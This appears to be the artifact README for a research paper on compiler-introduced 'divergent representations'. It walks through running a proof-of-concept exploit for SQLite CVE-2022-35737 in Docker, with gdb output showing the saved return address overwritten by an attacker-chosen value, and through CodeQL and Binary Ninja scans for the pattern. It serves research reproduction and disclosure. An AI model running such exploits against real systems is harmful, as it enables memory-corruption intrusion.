Divergent Representations: Artifacts

Requirements:

• Git
• Docker (Artifact 1 & 3)
• VSCode (Artifact 2)
• Binary Ninja (Artifact 3)

Getting Started

Install git and clone this repository, ensuring that all submodules are downloaded and initialized (examples are shown for Debian-based Linux systems):

$ sudo apt update && sudo apt install -y git
$ git clone --recurse-submodules git@github.com:wunused/divergent-representations-artifacts.git

Artifact 1: Exploit CVE-2022-35737 using Divergent Representation

We provide a proof-of-concept exploit for SQLite CVE-2022-35737. The exploit successfully sets the saved return address of the vulnerable function only when the vulnerable program contains a divergent representation.

This supports our claim that SQLite CVE-2022-35737 is enabled by a compiler-inserted divergent representation.

Setup

Install Docker:

$ sudo apt update && sudo apt install -y docker.io

Build Docker image and run the container shown in the snippet below (approximately 5 minutes to build).

$ docker build -t cve-2022-35737 publications/disclosures/CVE-2022-35737/
$ docker run --rm -it cve-2022-35737 /bin/bash

The container contains exploit proof-of-concept (/poc/snprintf-control-pc) and two builds of the vulnerable SQLite library (/sqlite3/build-optimized/.libs/libsqlite3.so and /sqlite3/build-unoptimized/.libs/libsqlite3.so).

The optimized build of libsqlite3.so contains a divergent representation that the proof-of-concept exploit uses to overwrite the saved return address of the vulnerable function (sqlite3_str_vappendf). The unoptimized build of libsqlite3.so does not contain the divergent representation, so the proof-of-concept exploit crashes as soon as the overwrite occurs.

Evaluation

Execute the exploit program by preloading the vulnerable library built without optimizations:

# LD_PRELOAD=/sqlite3/build-unoptimized/.libs/libsqlite3.so /poc/snprintf-control-pc
Segmentation fault (core dumped)

The program crashes with a memory segmentation fault because the stack buffer overflow writes 1GB of data to the program's 8MB stack, resulting in an immediate crash.

Next, execute the exploit program by preloading the vulnerable library built with optimizations:

# LD_PRELOAD=/sqlite3/build-optimized/.libs/libsqlite3.so /poc/snprintf-control-pc
*** stack smashing detected ***: terminated
Aborted (core dumped)

The program crashes with a stack smashing warning.

The divergent representation in the optimized build allows the exploit to overwrite the saved return address (and stack canary) with attacker controlled values, and then to reach the function return where the stack canary is checked (rather than immediately crashing, as when the exploit is run against the unoptimized build).

If desired, you can further confirm our result by using a debugger to set a breakpoint in the vulnerable function (sqlite3_str_vappendf) at the function return location (but before the stack canary is checked) and observing that, when the breakpoint is hit in the optimized build, the saved return address has been set to the attacker controlled value 0xdeadbeefdeadbeef.

(Note that the breakpoint address may be different in each build of the vulnerable library - the specific breakpoint address can be determined by first setting a breakpoint on the sqlite3_str_vappendf function and disassembling it to determine the function return address.)

# gdb --args env LD_PRELOAD=/sqlite3/build-optimized/.libs/libsqlite3.so /poc/snprintf-control-pc
(gdb) break sqlite3_str_vappendf
(gdb) run
<snip>
Breakpoint 1, sqlite3_str_vappendf (pAccum=pAccum@entry=0x7fff24c495a0, fmt=0x556615f3a056 "'%!q'", ap=0x7fff24c495e0) at sqlite3.c:28173
28173	){
(gdb) disass
<snip>
   0x00007ff37b821f01 <+7265>:	mov    %ebp,%r9d
   0x00007ff37b821f04 <+7268>:	jmpq   0x7ff37b821da7 <sqlite3_str_vappendf+6919>
   0x00007ff37b821f09 <+7273>:	callq  0x7ff37b7fec80 <__stack_chk_fail@plt>
End of assembler dump.
(gdb) break *0x00007ff37b821f09
(gdb) continue
Continuing.

Breakpoint 2, 0x00007ff37b821f09 in sqlite3_str_vappendf (pAccum=0x7fff24c495a0, fmt=<optimized out>, ap=<optimized out>) at sqlite3.c:27504
27504	        return db->lookaside.szTrue;
(gdb) info frame
Stack level 0, frame at 0x7fff24c495a0:
 rip = 0x7ff37b821f09 in sqlite3_str_vappendf (sqlite3.c:27504); saved rip = 0xdeadbeefdeadbeef
 called by frame at 0x7fff24c495a8
 source language c.
 Arglist at 0x7fff24c49498, args: pAccum=0x7fff24c495a0, fmt=<optimized out>, ap=<optimized out>
 Locals at 0x7fff24c49498, Previous frame's sp is 0x7fff24c495a0
 Saved registers:
  rbx at 0x7fff24c49568, rbp at 0x7fff24c49570, r12 at 0x7fff24c49578, r13 at 0x7fff24c49580, r14 at 0x7fff24c49588, r15 at 0x7fff24c49590, rip at 0x7fff24c49598
(gdb) quit

Note that saved rip = 0xdeadbeefdeadbeef.

By contrast, in the unoptimized build, the program crashes before reaching the equivalent breakpoint at the end of the function:

# gdb --args env LD_PRELOAD=/sqlite3/build-unoptimized/.libs/libsqlite3.so /poc/snprintf-control-pc
(gdb) break sqlite3_str_vappendf
(gdb) run
<snip>
Breakpoint 1, sqlite3_str_vappendf (pAccum=0x0, fmt=0x0, ap=0x0) at sqlite3.c:28173
28173	){
(gdb) disass
<snip>
   0x00007f9feb167701 <+9678>:	xor    %fs:0x28,%rax
   0x00007f9feb16770a <+9687>:	je     0x7f9feb167711 <sqlite3_str_vappendf+9694>
   0x00007f9feb16770c <+9689>:	callq  0x7f9feb15ec50 <__stack_chk_fail@plt>
   0x00007f9feb167711 <+9694>:	add    $0x1b8,%rsp
   0x00007f9feb167718 <+9701>:	pop    %rbx
   0x00007f9feb167719 <+9702>:	pop    %rbp
   0x00007f9feb16771a <+9703>:	retq
End of assembler dump.
(gdb) break *0x00007f9feb167701
(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007f9feb16718a in sqlite3_str_vappendf (pAccum=0x7ffe9788aa80, fmt=0x556b975dc059 "q'", ap=0x7ffe9788aaf0) at sqlite3.c:28783
28783	            while( (escarg[i+1]&0xc0)==0x80 ){ i++; }
(gdb) quit

The source code for the exploit can be viewed in this repository at publications/disclosures/CVE-2022-35737/snprintf-control-pc.c or in the container at /poc/snprintf-control-pc.c.

Artifact 2: Identify divergent representation patterns in source code

We provide CodeQL scripts to scan source code repositories for code patterns that may result in divergent representations, when compiled. To scan many repositories at scale, we use the newly released Multi-Repository Variant Analysis feature provided by CodeQL and integrated into the CodeQL VSCode plugin. We provide instructions to scan exactly the same 999 repositories that we scanned, to validate our claim that code patterns that may result in divergent representations are common in source code.

Setup

Install VSCode: https://code.visualstudio.com/docs/setup/setup-overview.

Open VSCode and install the CodeQL plugin for VSCode: https://codeql.github.com/docs/codeql-for-visual-studio-code/setting-up-codeql-in-visual-studio-code/#starter-workspace. Note that in the "Setting up a CodeQL Workspace" step, we recommend following the "Using the starter workspace" option. All that this requires is creating your own personal GitHub fork of the https://github.com/github/vscode-codeql-starter/ repository. The CodeQL documentation recommends cloning the starter repository locally, but we recommend creating a GitHub fork in order to simplify later use of the Multi-Repository Variant Analysis feature.

Create a new workspace in VSCode for this repository. To set up Multi-Repository Variant Analysis, select the CodeQL plugin on the left pane of VSCode. Under the "Variant Analysis Repositories" tile in the plugin view, select "Set up controller repository" and provide the GitHub repository identifier for your personal fork of the vscode-codeql-starter repository. This allows the CodeQL plugin to submit GitHub actions on your behalf to run CodeQL scans. Additional information can be found at: https://codeql.github.com/docs/codeql-for-visual-studio-code/running-codeql-queries-at-scale-with-mrva/.

Evaluation

In this repository is a file named codeql-scanlist.txt containing the name of all repositories that we scanned. To add them as a list for automated scanning in CodeQL, follow the instructions to create a custom list of repositories: https://codeql.github.com/docs/codeql-for-visual-studio-code/running-codeql-queries-at-scale-with-mrva/#creating-a-custom-list-of-repositories. Edit the databases.json file by clicking on the {} icon (described in the link above) and paste the contents of the codeql-scanlist.txt file into the newly created list entry in the repositories list field. Alternatively, you can copy the databases.json file provided in this repository over the local databases.json file in your VSCode workspace.

To reproduce our analysis, select the custom repository list in the VSCode CodeQL plugin. In the VSCode file browser, open the files divergent-representations/codeql-queries/divergentrepsfor.ql and divergent-representations/codeql-queries/divergentrepswhile.ql. In each opened file, right click and select "CodeQL: Run Variant Analysis". This will result in GitHub actions that execute the query code and download the results for local analysis (approximately 15 minutes).

Our full results can be viewed at https://pastebin.com/QxCRXAp8, which are produced by adding the results of divergentrepsfor.ql and divergentrepswhile.ql. Note that CodeQL Multi-Repository Variant Analysis only scans the code as it exists at the time of the query, so results may differ slightly from ours as repositories have changed.

Artifact 3: Identify divergent representation patterns in compiled binaries

We provide a Binary Ninja plugin that identifies compiled binary code that may be a divergent representation, and Docker containers to reproduce our builds of the software that we scanned. For each software project that we scanned, we built multiple versions of the project: one for each optimization level (O0 - O3) and each compiler used (GCC and Clang) for eight total builds of each project. We also provide pre-compiled binaries, in the event that you do not wish to reproduce our builds from scratch.

Setup

Install and license Binary Ninja (note that Binary Ninja is proprietary software): https://docs.binary.ninja/getting-started.html, https://binary.ninja/purchase/

If using a commercial Binary Ninja license: ensure that Python3 is installed on your system. No further Binary Ninja setup required.

If using a personal Binary Ninja license: copy the contents of the divergent-representations/binja-scripts/ directory to the appropriate Binary Ninja plugins location for your system (https://docs.binary.ninja/guide/plugins.html). For example, if using a Linux system:

$ cp -r divergent-representations/binja-scripts ~/.binaryninja/plugins/divergent-reps

Next steps are optional - proceed if you want to reproduce builds of scanned software from scratch. If not, skip to Evaluation.

Build Docker image of the base build environment used by all other build containers (approximately 1-5 minutes):

$ docker build -t build-environment -f builds/build-environment.dockerfile builds/

For each subdirectory in the builds directory, build the Docker image from the associated Dockerfile (approximately 30 minutes to build, each). For example, to build the SQLite image:

$ docker build -t sqlite-build -f builds/sqlite/sqlite-build.dockerfile builds/sqlite/

This creates a Docker image with eight builds of SQLite each compiled at a different optimization level for each compiler. All build artifacts are located in the /artifacts directory of the container image.

Evaluation

If using commercial Binary Ninja license:

For each software artifact, execute the provided Binary Ninja script from the command line, and pass as argument the path to the compiled binary artifact For example, to scan the SQLite artifacts for Divergent Representations from the command line (approximately 1 minute per project):

$ python3 divergent-representations/binja-scripts/fdr.py builds/sqlite/artifacts/libsqlite3.so.gcc-O3
<snip>
sqlite3Pragma@0xf1b70: rax_268#332 = ϕ(rax_268#331, rax_268#333)
sqlite3CreateIndex@0x103b08: rax_83#175 = ϕ(rax_83#174, rax_83#176)
found 51 divergent representations in builds/sqlite/artifacts/libsqlite3.so.0.8.6.gcc-O3

Warnings about function complexity may be ignored.

If using personal Binary Ninja license:

For each software artifact, open the compiled binary in Binary Ninja. Wait for Binary Ninja to analyze the program. Right click in the center window and select "Plugins -> Binja Div Reps -> Find in all functions". Plugin results will be printed in the Log console.

Numbers of identified divergent representations should match Table 1 of submission.